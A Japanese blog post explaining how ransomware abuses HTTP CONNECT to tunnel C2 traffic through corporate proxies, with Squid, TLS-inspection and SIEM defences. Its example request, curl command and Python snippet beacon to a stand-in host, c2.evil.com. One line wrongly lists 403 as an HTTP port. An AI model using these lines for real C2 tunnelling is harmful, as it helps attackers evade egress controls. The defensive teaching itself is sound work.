HTTP CONNECTメソッドの闇：プロキシ経由C2通信とトンネリングの現実解
おい、ちょっとこっちに来てくれ。先週、ある企業のインフラ監査を手伝ったんだがね、これがまた実に嫌らしい手口に遭遇したんだよ。
巧妙に難読化されたランサムウェアの亜種が、社内ネットワークから外部のC2（Command and Control）サーバーへ通信を通していた。ファイアウォールのログを漁ってみても、外部宛の怪しいポートスキャンなんて一切ない。HTTPの標準ポートである 80 と 403、あるいはHTTPSの 443 しか使われていないのだから、SOC（Security Operations Center）の初期アラートも綺麗にスルーされていた。
犯人は、Webプロキシの「本来の機能」を完全に逆用していた。そう、今回メスを入れる「HTTP CONNECTメソッドを用いたトンネリング」だ。
教科書には「プロキシサーバーを介してTCPの双方向ストリームを確立するためのメソッド」としか書いていない。だが、実務の現場では、これが攻撃者に「社内ネットワークへの抜け穴」として悪用される。今日は、このメカニズムの裏側と、現場のエンジニアとして我々がどう防衛すべきかを徹底的に紐解いていこう。
—
1. なぜプロキシ越しのトンネリングが狙われるのか？
近年のエンタープライズネットワークは、ゼロトラストの思想に基づき、外への出口（Egress）フィルタリングが非常に厳しくなっている。ダイレクトに外部の怪しいIPアドレスの 443 や任意のポートへTCPコネクションを張ろうものなら、次世代ファイアウォール（NGFW）やIDS/IPSが即座にパケットをドロップし、情シスから鋭い飛ぶ鳥を落とすような勢いの内線がかかってくるはずだ。
しかし、多くの企業では、インターネット閲覧のためにHTTP/HTTPSプロキシ（Squidや各種セキュアWebゲートウェイなど）を運用している。そして、社内PCから外部へ出るための「唯一の正当な窓口」として、プロキシサーバーへの通信だけは許可されているケースが多い。
攻撃者はここを突く。
「プロキシに頼めば、外部のどこへでも接続を代行してもらえる」というHTTPプロキシの仕様を悪用し、プロキシを踏み台にして、C2サーバーと直接（しかもエンドツーエンドで暗号化した状態で）トンネルを掘ってしまうのだ。
—
2. RFC 7231が定めるCONNECTメソッドの仕様と通信フロー
まずは基本に立ち返ろう。HTTP/1.1の仕様（RFC 7231のセクション4.3.6）において、CONNECT メソッドは次のように定義されている。
> CONNECT メソッドは、ターゲットへのトンネルを確立するために、プロキシによって使用されることを意図しています。これは、プロキシをTLS（HTTPS）セッションなどのトランスポート層のトランスミッターとして機能させることができます。
通常のGETやPOSTリクエストが「HTTPリクエスト・レスポンスの往復」であるのに対し、CONNECT は「プロキシに特定の宛先へのTCPコネクションの確立を命じ、成功したらそのままプロキシを透明な（Transparentな）中継パイプに変えてしまう」という極めて特殊な挙動をする。
実際の通信シーケンス
パケットキャプチャを思い浮かべてほしい。クライアントとC2サーバーがプロキシを介して接続を確立するまでの裏側のやり取りは、こうだ。
[Client] [Proxy Server] [C2 Server]
| | |
|--- 1. CONNECT request ------->| |
| (Host: c2.evil.com:443) |--- 2. TCP Connect ---------->|
| |<-- 3. TCP ACK/Syn-ACK -------|
|<-- 4. 200 Connection Est. ----| |
| | |
|====== 5. Encrypted Tunnel (TLS / Payload) ===================|
| | |1. リクエスト送信: クライアントはプロキシに対し、CONNECT c2.evil.com:443 HTTP/1.1 というリクエストを投げる。
2. プロキシの接続: プロキシは宛先である c2.evil.com のポート 443 へ向けて通常のTCPハンドシェイクを行う。
3. 確立応答: TCPコネクションが確立すると、プロキシはクライアントに対して HTTP/1.1 200 Connection Established を返す。
4. トンネル開始: この瞬間から、プロキシは単なる「中継バッファ」と化し、クライアントとC2サーバーの間でやり取りされる生バイナリ（多くはさらにTLSで二重暗号化されている）を、中身を見ることなくスルーし続ける。
—
3. 攻撃者が使うリクエスト・レスポンスのリアル
では、実際のパケットの中身を覗いてみよう。インフラエンジニアなら、ログやパケットアナライザでこの異変に気づかなければならない。
リクエストの例
CONNECT c2.evil.com:443 HTTP/1.1
Host: c2.evil.com:443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Proxy-Authorization: Basic dXNlcjpwYXNzd29yZA==ここで注目すべきは、宛先ポートが一般的な 443 だけとは限らない点だ。攻撃者は、プロキシがブロックし忘れているポート（例えば 8080 や 8443、あるいは独自の管理ポート）を指定して CONNECT を要求することがある。
レスポンスの例
HTTP/1.1 200 Connection Established
Proxy-agent: Enterprise-Proxy-Gateway/1.2この 200 Connection Established が返ってきてしまったら最後、ファイアウォールからは「プロキシとの長時間の通信」しか見えなくなり、ランサムウェアの身代金要求APIとの通信や、暗号化キーのやり取りが完全に隠蔽されてしまう。
—
4. 検証：コードから見るCONNECTトンネリングの挙動
実務でAPIの接続確認やプロキシの挙動テストを行う際、開発者やインフラ担当者は curl やPythonを使ってプロキシ経由の通信をテストする。攻撃者も、まさにこれと同じような仕組みをマルウェアのコードに組み込んでいる。
例1: curl を用いたプロキシ経由の強制接続テスト
明示的にプロキシを指定し、HTTPSサイトへアクセスする際、裏で CONNECT メソッドが使われている。
# プロキシサーバー (proxy.internal:8080) を経由して外部サーバーに接続する
curl -v -x http://proxy.internal:8080 https://c2.evil.com/api/checkinこのコマンドを叩いたとき、デバッグ出力 (-v) には Establish HTTP proxy tunnel というログが出現するはずだ。これがまさに CONNECT の成立を意味している。
例2: Python (Requests) によるプロキシ経由のセッション確立
インフラの自動化スクリプトや、あるいは攻撃者のカスタムマルウェアでも、HTTPプロキシを意識したソケット通信やライブラリが利用される。
import requests
# プロキシの定義
proxies = {
"http": "http://proxy.internal:8080",
"https": "http://proxy.internal:8080",
}
# ターゲットURL（C2サーバーを想定）
# requestsライブラリはhttpsスキームが指定されると、内部で自動的にCONNECTメソッドを使用します
target_url = "https://c2.evil.com/v1/heartbeat"
try:
# プロキシを介したリクエストの送信
response = requests.get(target_url, proxies=proxies, timeout=10)
print(f"ステータスコード: {response.status_code}")
print(f"レスポンスボディ: {response.text}")
except requests.exceptions.RequestException as e:
print(f"通信エラーが発生しました: {e}")このようなコードは正当な業務アプリケーションでも頻繁に使われるため、コード単体で「悪意がある」と断定することはできない。だからこそ、「ネットワークとプロキシ側のガバナンス」で抑え込む必要がある。
—
5. インフラエンジニアが取るべき実践的防御策
さて、ここからが本題だ。この狡猾なトンネリングに対して、我々シニアエンジニアはどのような盾を構えるべきか。単に「プロキシを導入しました」では、穴だらけのザルと同じだ。
① 許可されたポートの厳格なホワイトリスト化
プロキシサーバー（Squid等）の設定において、CONNECT メソッドが許可する宛先ポートを無制限にしては絶対にダメだ。
通常、セキュアなWebブラウジングに必要なのは 443（HTTPS）程度である。業務上特別な理由がない限り、CONNECT が許可するポートは標準の 443 のみに絞り、他のポート（例: 22 (SSH), 3389 (RDP), 独自C2ポート）へのトンネル要求はすべてプロキシ側で拒否（Deny）設定を入れること。
*Squid設定例のイメージ (squid.conf):*
# 許可する安全なSSLポートのみを定義
acl SSL_ports port 443
acl Safe_ports port 80
acl Safe_ports port 443
# CONNECTメソッドの制限
acl CONNECT method CONNECT
# 443以外のポートへのCONNECT要求をブロック
http_access deny CONNECT !SSL_ports② SSL/TLSインスペクション（可視化）の導入
「暗号化されているから中身が見えない」を言い訳にしてはいけない。
次世代ファイアウォールやプロキシの機能である「SSLインスペクション（復号・再暗号化）」を有効にし、プロキシ自身がルート証明書を偽装（中間者攻撃の要領）して一度通信の中身を終端し、マルウェア特有のシグネチャや不審な通信パターン（例えば、通常のブラウザではあり得ないランダムなバイナリ列や、異常に短いスリープ間隔のポーリング）を検知できるようにする。
③ Egressトラフィックの厳格な監視と異常検知
プロキシログやFWのフローログ（NetFlow / IPFIX）をSIEM（SplunkやElastic Stackなど）に集約し、次のような異常値をリアルタイムで検知するアラートを仕込んでおく。
- 同一の内部ホストから、特定の外部IPへの
CONNECTトンネルが異常に長時間持続している（常時接続型C2の兆候）。 - 業務時間外や深夜帯における、普段通信しない外部宛先への継続的なコネクション確立。
—
おわりに：境界防御の「隙間」を埋めるのはエンジニアの目
ネットワークの進化に伴い、攻撃者の手口も「いかにセキュリティ製品を欺かせるか」から「いかに正当な機能の隙間に身を隠すか」へとシフトしている。HTTP CONNECT メソッドを用いたトンネリングは、まさにその代表例だ。
「便利だから」「昔からこう設定していたから」という理由で放置されたプロキシのデフォルト設定が、ある日突然、ランサムウェアの侵入経路へと姿を変える。
この記事を読み終えたら、君の管理下にあるプロキシやファイアウォールの設定ファイルを今一度開き、CONNECT メソッドがどのようなポートへ、どのような条件で許可されているかを確認してみてほしい。そのひと手間で、会社を救うことだって十分にあり得るのだから。
コメント